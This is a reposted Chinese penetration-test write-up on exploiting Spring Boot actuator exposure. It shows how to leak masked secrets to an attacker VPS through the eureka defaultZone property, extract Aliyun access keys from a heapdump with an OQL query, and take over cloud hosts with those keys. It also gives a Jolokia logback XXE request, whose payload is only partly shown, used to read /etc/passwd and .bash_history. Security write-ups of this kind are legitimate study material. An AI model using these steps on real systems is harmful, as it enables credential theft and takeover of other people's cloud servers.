转载于: 锦行信息安全
在一次项目测试中发现一个站点存在如下页面
看来是springboot框架构建的网站,使用dirseach扫一波
可以看到能访问/env、/dump目录,明显存在springboot未授权漏洞
可以看到springboot的环境变量,但是像accessKeySecret这种字段都已经被打码了,要是能知道accessKeySecret这个字段的值,便有可能接管阿里云托管的主机。
那么要获取带星号字段的值有两种方法。
方法一:
通过post方法传递带星号的明文值到自己的vps上查看
利用方法
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
设置 eureka.client.serviceUrl.defaultZone 属性。
将下面
http://value:${security.user.password}@your-vps-ip中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。
但在目标网站中,并不支持post方法,返回405状态码,那只能用第二种方法了。
方法二:
从内存文件中读取带星号的明文
访问http://xxx/heapdump下载内存文件。
这时候就可以利用 Eclipse Memory Analyzer 工具(下载地址:https://www.eclipse.org/mat/downloads.php)
来分析 /heapdump 或 /actuator/heapdump 接口下载的 jvm heap 信息,查找阿里云密钥明文。
使用 Eclipse Memory Analyzer 直接打开下载的 heapdump 文件,点击OQL 标签
在查询框中输入
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains
("aliyun"))
然后点击红色感叹号执行查询
便能模糊搜索到关于aliyun密钥相关的信息
拿到阿里云的accessKeyId和accessKeySecret后,
到行云管家
(https://yun.cloudbility.com/login.html) 中输入相应密钥, 便会自动调用阿里云api接管云主机
因为该站点还暴露了jolokia/list,
查看jolokia/list中存在的 Mbeans,并且存在logback 库提供的reloadByURL方法,可以利用jolokia/list接口进行xxe漏洞
漏洞url: http:/xxx.com.cn/actuator/jolokia/list
创建logback.xml和fileread.dtd文件
logback.xml
%remote;%int;]>&trick
fileread.dtd
将上面文件上传到公网VPS上并且开启http服务
命令:python -m SimpleHTTPServer 80
远程访问logback.xml文件
http://xxx.com.cn/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vpsip!/logback.xml
成功利用xxe读取到etc/passwd文件内容
利用该漏洞读到了/.bash_history这个文件,该文件记录了过去用户输入的命令行
翻越命令行,找到了接管阿里云的accesskeyid和accessSerect
历史文章推荐:
查看更多精彩内容,还请关注 橘猫学安全 :
每日坚持学习与分享,麻烦各位师傅文章底部给点个“
再看
”,感激不尽